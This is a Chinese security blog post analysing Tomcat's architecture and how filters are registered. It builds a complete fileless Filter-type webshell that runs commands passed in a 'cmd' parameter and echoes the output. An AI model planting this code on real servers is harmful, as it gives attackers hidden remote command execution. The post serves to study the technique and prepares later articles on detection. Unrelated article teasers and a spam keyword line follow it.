<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】Tomcat 內存馬技術分析— Filter型

    一顆小胡椒2022-05-25 06:43:08

    內存馬技術早在前幾年就已經在廣泛使用,通俗的名字為不落地馬或者無文件馬。這種馬的實現技術相對于傳統馬來說更為復雜,但是隨著產品安全防護等級的不斷提高,內存馬技術也就運用而生。好在是這一塊領域很多師傅都以已經趟過坑了,筆者站在巨人的肩膀上總結梳理內存馬技術,打算出一個系列專題詳細分析tomcat內存馬的不同類型以及其內存馬檢測及查殺技術。

    0×1 內存馬種類

    現有的內存馬主要分為四個類型,Listener型、Filter型、Servlet型以及Agent型,不同類型的內存馬涉及到的知識點也不太一樣。在用戶請求網站的時候, 前三個內存馬的觸發順序為Listener -> Filter -> Servlet。

    1、Listener型

    一開始在學習Tomcat內存馬技術的時候,對該Listener型內存木馬有些生疏。Listener是Java web中的監聽器,不熟悉的小伙伴很容易將Listener理解成跟端口監聽有關的功能模塊,其實這里的監聽指的是監測某個java對象成員變量或成員方法的變化,當被監聽對象發生上述變化后,監聽器某個方法將會被立即執行。Listener內存馬是通過動態注冊一個Listener,其監聽到某個參數傳入時,觸發某個監聽器方法,實現內存馬功能。

    2、Filter型

    如上圖所示Filter處在請求處理的關鍵位置,如果是寫過Java web的小伙伴,必然對Filter的配置有深刻的印象,一般在項目的web.xml中注冊Filter來對某個Servlet程序進行攔截處理。這個注冊的Filter就變成了客戶端訪問和最終負責請求數據處理之間的必經之路,如果我們對Filter中的內容進行修改,就可以實現請求數據預處理。

    3、Servlet型

    Servlet在Java web開發和安全審計中最常用到的名詞,Servlet一般與訪問路由對應。Servlet的生命周期在Web容器啟動的時候就開始了,當Context獲得請求時,將在自己的映射表中尋找相匹配的Servlet類。Servlet型的核心原理是注冊一個惡意的Servlet,并把Servlet與相對應的URL綁定。

    0×2 Tomcat架構分析

    內存馬的學習過程其實和反序列化很相似,如果會使用內存馬很簡單,但是要知道如何構造就需要很多前置知識。這就好比在學反序列化時要學習反射和動態代理等java的特性。那么在學習Tomcat內存馬的時候就需要掌握Tomcat相關架構特性。

    1、簡介

    Tomcat是一個免費的開放源代碼的Servlet容器,Tomcat 容器是對 Servlet 規范的實現,也稱為 Servlet 引擎。Tomcat為了更好的處理來自客戶端的請求,設計了一套功能完善的處理引擎,其中包括了Container、Engine、Host、Context、Wrapper等模塊功能。筆者重點分析他們之間的關聯關系及架構組成。

    2、架構組成

    從上圖可以粗略的分析出他們之間的層級調用關系。

    • Server:表示整個 Tomcat Catalina servlet 容器,Server 中可以有多個 Service。
    • Service:表示Connector和Engine的組合,對外提供服務,Service可以包含多個Connector和一個Engine。
    • Connector:為Tomcat Engine的連接組件,支持三種協議:HTTP/1.1、HTTP/2.0、AJP。
    • Container:負責封裝和管理Servlet 處理用戶的servlet請求,把socket數據封裝成Request,傳遞給Engine來處理。
    • Engine:頂級容器,不能被其他容器包含,它接受處理連接器的所有請求,并將響應返回相應的連接器,子容器通常是 Host 或 Context。
    • Host:表示一個虛擬主機,包含主機名稱和IP地址,這里默認是localhost,父容器是 Engine,子容器是 Context。
    • Context:表示一個 Web 應用程序,是 Servlet、Filter 的父容器。
    • Wrapper:表示一個 Servlet,它負責管理 Servlet 的生命周期,并提供了方便的機制使用攔截器。

    3、關聯關系

    從一次服務訪問請求探究他們之間的組成關系,如上圖所示,配置了HTTP和Ajp兩個對外開放端口,同時對應了兩個Connector分別負責請求數據包的封包、處理、轉發工作,該過程如下圖Connector中顯示的操作流程。Connector將解析好的Request對象傳遞給Container,Container 使用Pipeline-Valve管道來處理請求,如下圖Pipeline請求流程。直到WrapperValve創建并調用ApplicationFilterChain,最后調用Servlet執行路由處理。

    4、Connector

    Connector是Tomcat中的連接器,在Tomcat啟動時它將監聽配置文件中配置的服務端口,從端口中接受數據,并封裝成Request對象傳遞給Container組件,如下圖所示:

    tomcat 中 ProtocolHandler 的默認實現類是 Http11NioProtocol,在高版本tomcat中Http11Nio2Protocol也是其中的一個實現類。

    ProtocolHandler來處理網絡連接和應用層協議,包含兩個重要組件:endpoint和processor,endpoint是通信端點,即通信監聽的接口,是具體的socket接受和發送處理器,是對傳輸層的抽象,processor接受來自endpoint的socket,讀取字節流解析成Tomcat的request和response對象,并通過adapter將其提交到容器處理,processor是對應用層協議的抽象。總結如下:

    • endpoint:處理來自客戶端的連接請求。
    • processor:接受來自endpoint的socket,讀取字節流解析成Tomcat的request和response對象。
    • adapter:將封裝好的request轉交給Container處理,連接Connector和Container。

    5、Container

    在Tomcat中,容器(Container)主要包括四種,Engine、Host、Context和Wrapper。也就是這個圖中包含的四個子容器。由下圖可以看出,Container在處理請求時使用的Pipeline管道,Pipeline 是一個很常用的處理模型,和 FilterChain 大同小異,都是責任鏈模式的實現,Pipeline 內部有多個 Valve,這些 Valve 因棧的特性都有機會處理請求和響應。上層的Valve會調用下層容器管道,一步一步執行到FilterChain過濾鏈。

    6、Context

    servletContext負責的是servlet運行環境上下信息,不關心session管理,cookie管理,servlet的加載,servlet的選擇問題,請求信息,主要負責servlet的管理。

    StandardContext主要負責管理session,Cookie,Servlet的加載和卸載,負責請求信息的處理,掌握控制權。ServletContext主要是適配Servlet規范,StandardContext是tomcat的一種容器,當然兩者存在相互對應的關系。

    在Tomcat中對應的ServletContext實現是ApplicationContext。Tomcat慣用Facade方式,因此在web應用程序中獲取到的ServletContext實例實際上是一個ApplicationContextFacade對象,對ApplicationContext實例進行了封裝。而ApplicationContext實例中含有Tomcat的Context容器實例(StandardContext實例,也就是在server.xml中配置的Context節點),以此來獲取/操作Tomcat容器內部的一些信息,例如獲取/注冊servlet等。Filter內存馬的實現也是基于此知識點獲取到了存儲在StandardContext中的filterConfigs HashMap結構。

    0×3 環境搭建

    采用簡單的Spring-boot可以快速搭建web項目,并且使用Spring內置的輕量級Tomcat服務,雖然該Tomcat閹割了很多功能,但是基本夠用。整個demo放在了github上,地址為https://github.com/BabyTeam1024/TomcatResponseLearn

    1、創建項目

    選擇Spring Initializr

    2、添加代碼

    在項目的package中創建controller文件夾,并編寫TestController類

    package com.example.tomcatresponselearn.controller;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    @Controller
    @RequestMapping("/app")
    public class TestController {
        @RequestMapping("/test")
        @ResponseBody
        public String testDemo(String input, HttpServletResponse response) throws IOException {
            return "Hello World!";
        }
    }
    

    正常在編寫Spring-boot代碼的時候是不需要在testDemo函數中添加調用參數的。這里為了方便查看Response對象,因此在該函數上添加了HttpServletResponse。

    3、添加Maven地址

    在ubuntu上搭建環境的時候遇到了依賴包下載失敗的情況。

    添加如下倉庫地址即可解決問題

    https://repo.maven.apache.org/maven2
    

    0×4 Filter內存馬

    1、Tomcat 加載注冊Filter

    在StandardContext類中的startInternal方法里可以看到這樣的加載順序

    先啟動listener,再者是Filter,最后是Servlet。詳細分析filterStart中是如何加載Filter鏈的,相關代碼如下圖所示:

    首先通過遍歷從filterDefs中獲取key和value,將value封裝為ApplicationFilterConfig對象放入filterConfigs變量中。

    筆者為了研究Tomcat在啟動時是如何將Filter添加到FilterMap中的,于是在StandardContext類的add方法中下了斷點,如下圖所示:

    根據調用棧可以溯源Tomcat是如何加載這些filter的,如下圖所示:

    根據該調用棧可以發現Tomcat是通過addMappingForUrlPatterns實現Filter加載,該部分代碼如下圖所示:

    servletContext.addFilter中的實現邏輯如下

    filterDef = new FilterDef();
    filterDef.setFilterName(filterName);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
    this.context.addFilterDef(filterDef);
    

    在addFilter函數的最后創建并返回了ApplicationFilterRegistration對象,并通過addMappingForUrlPatterns方法注冊路由,相關實現邏輯如下:

    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(this.filterDef.getFilterName());
    filterMap.setDispatcher(dispatcherType.name());
    filterMap.addURLPattern(urlPattern);
    this.context.addFilterMapBefore(filterMap);
    

    其中涉及到了三個比較重要的變量:

    • filterDefs:包含過濾器實例和名稱
    • filterMaps:包含所有過濾器的URL映射關系
    • filterConfigs:包含所有與過濾器對應的filterDef信息及過濾器實例

    2、動態添加Filter

    根據Tomcat注冊Filter的操作,可以大概得到如何動態添加一個Filter

    • 獲取standardContext
    • 創建Filter
    • 使用filterDef封裝Filter對象,將filterDef添加到filterDefs
    • 創建filterMap,將URL和filter進行綁定,添加到filterMaps中
    • 使用ApplicationFilterConfig封裝filterDef對象,添加到filterConfigs中

    通過分析得到動態添加Filter只需5個步驟,下面筆者將根據Tomcat注冊Filter的操作,通過反射操作實現動態添加Filter。

    ①獲取standardContext

    獲取standardContext多種多樣,StandardContext主要負責管理session,Cookie,Servlet的加載和卸載。因此在Tomcat中的很多地方都有保存。如果我們能夠直接獲取request的時候,可以使用以下方法直接獲取context。

    Tomcat在啟動時會為每個Context都創建個ServletContext對象,表示一個Context。從而可以將ServletContext轉化為StandardContext。


    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
    

    獲取到standardContext就可以很方便的將其他對象添加在Tomcat Context中。

    ②創建Filter

    直接在代碼中實現Filter實例,需要重寫三個重要方法,init、doFilter、destory,如下面代碼所示:

    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null){
                InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                servletResponse.getWriter().write(output);
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }
        @Override
        public void destroy() {
        }
    };
    

    在doFilter方法中實現命令執行回顯功能。

    ③創建filterDef封裝Filter對象

    為了之后將內存馬融合進反序列化payload中,這里特意使用反射獲取FilterDef對象。如果使用的是jsp或者是非反序列化的利用,那么可以直接使用new創建對象。

    Class FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
    Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
    FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
    o.setFilter(filter);
    o.setFilterName(FilterName);
    o.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(o);
    

    setFilter方法將自己創建的Filter綁定在FilterDef中,setFilterName設置的是Filter的名稱,最后把FilterDef添加在standardContext的FilterDefs變量中。

    ④創建filterMap綁定URL

    通過反射創建FilterMap實例,該部分代碼主要是注冊filter的生效路由,并將FilterMap對象添加在standardContext中FilterMaps變量的第一個。

    Class FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
    Constructor declaredConstructor = FilterMap.getDeclaredConstructor();
    org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
    o1.addURLPattern("/*");
    o1.setFilterName(FilterName);
    o1.setDispatcher(DispatcherType.REQUEST.name());//只支持 Tomcat 7.x 以上
    standardContext.addFilterMapBefore(o1);
    

    ⑤獲取filterConfigs變量,并向其中添加filterConfig對象

    首先獲取在standardContext中存儲的filterConfigs變量。

    Configs = StandardContext.class.getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    filterConfigs = (Map) Configs.get(standardContext);
    

    之后通過反射生成ApplicationFilterConfig對象,并將其放入filterConfigs hashMap中。

    Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
    declaredConstructor1.setAccessible(true);
    ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
    filterConfigs.put(FilterName,filterConfig);
    

    3、完整代碼

    完整代碼主要參照了nice_0e3師傅的文章,在最后結果輸出的時候要注意如果有兩次response結果需要將第一次的Writer flush 掉,避免在后臺報錯。

    Field Configs = null;
    Map filterConfigs;
    try {
        //Step 1
        ServletContext servletContext = request.getSession().getServletContext();
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
        String FilterName = "cmd_Filter";
        Configs = StandardContext.class.getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        filterConfigs = (Map) Configs.get(standardContext);
        //Step 2
        if (filterConfigs.get(FilterName) == null){
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
                }
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                        InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                        //
                        Scanner s = new Scanner(in).useDelimiter("\\A");
                        String output = s.hasNext() ? s.next() : "";
                        servletResponse.getWriter().write(output);
                        return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
                }
                @Override
                public void destroy() {
                }
            };
            //Step 3
            Class FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
            Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
            FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
            o.setFilter(filter);
            o.setFilterName(FilterName);
            o.setFilterClass(filter.getClass().getName());
            standardContext.addFilterDef(o);
            //Step 4
            Class FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
            Constructor declaredConstructor = FilterMap.getDeclaredConstructor();
            org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
            o1.addURLPattern("/*");
            o1.setFilterName(FilterName);
            o1.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(o1);
            //Step 5
            Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
            declaredConstructor1.setAccessible(true);
            ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
            filterConfigs.put(FilterName,filterConfig);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    

    0×5 總結

    本文主要學習了Tomcat架構組成及各模塊組件之間的關聯關系,重點分析Connector、Container和Context在整個數據請求處理過程中發揮的作用。通過梳理Tomcat在啟動過程中FilterChain的注冊流程,分析清楚如何動態注冊加載自己設計的Filter對象。之后的文章將繼續分析Tomcat內存馬Listener、Servlet等實現技術以及各種查殺技術,最后感謝各位師傅關于內存馬知識的總結分享。

    容器技術servlet
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    沒錯,就是題目中的Undertow容器技術。配置好以后,我們啟動應用程序,發現容器已經替換為Undertow。
    一文看懂內存馬
    2022-01-02 22:31:21
    它負責處理用戶的請求,并根據請求生成相應的返回信息提供給用戶。業務邏輯處理完成之后,返回給Servlet容器,然后容器將結果返回給客戶端。Filter對象創建后會駐留在內存,當web應用移除或服務器停止時才銷毀。該方法在Filter的生命周期中僅執行一次。
    很早之前就立下flag說聊聊內存馬,然后出了一篇文章Java Agent的內容。后來就擱淺了,這次想先寫聊聊兩種最為常見的內存馬,spring內存馬和filter內存馬。
    筆者重點分析他們之間的關聯關系及架構組成。Wrapper:表示一個 Servlet,它負責管理 Servlet 的生命周期,并提供了方便的機制使用攔截器。
    攻擊者可在無需認證的情況下,通過構造特殊的請求,觸發反序列化,從而執行任意代碼,接管運行ForgeRock AM的服務器。本文從漏洞挖掘的角度分析其中的技術細節,也將公開一些其他的反序列化點。
    漏洞的產生在于WebWork 2.1 和Struts 2的’altSyntax’配置允許OGNL 表達式被插入到文本字符串中并被遞歸處理。
    最常見的情況是使用 Tomcat 作為 Java Web 服務器,使用 Spring 提供的開箱即用的強大 的功能,并依賴其他開源庫來完成負責的業務功能實現
    Struts2是一個基于MVC設計模式的Web應用框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。
    WebLogic是由美國Oracle公司出品的一application server,準確的說就是一個基于JAVAEE而開發的一個中間件,類似Tomcat,WebLogic是一個用于開發,集成,部署與管理大型分布式Web應用,網絡應用和數據庫的java應用服務器。將java動態功能與java Enterprise標準的安全性引入大型網絡應用的開發,集成,部署與管理之中。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类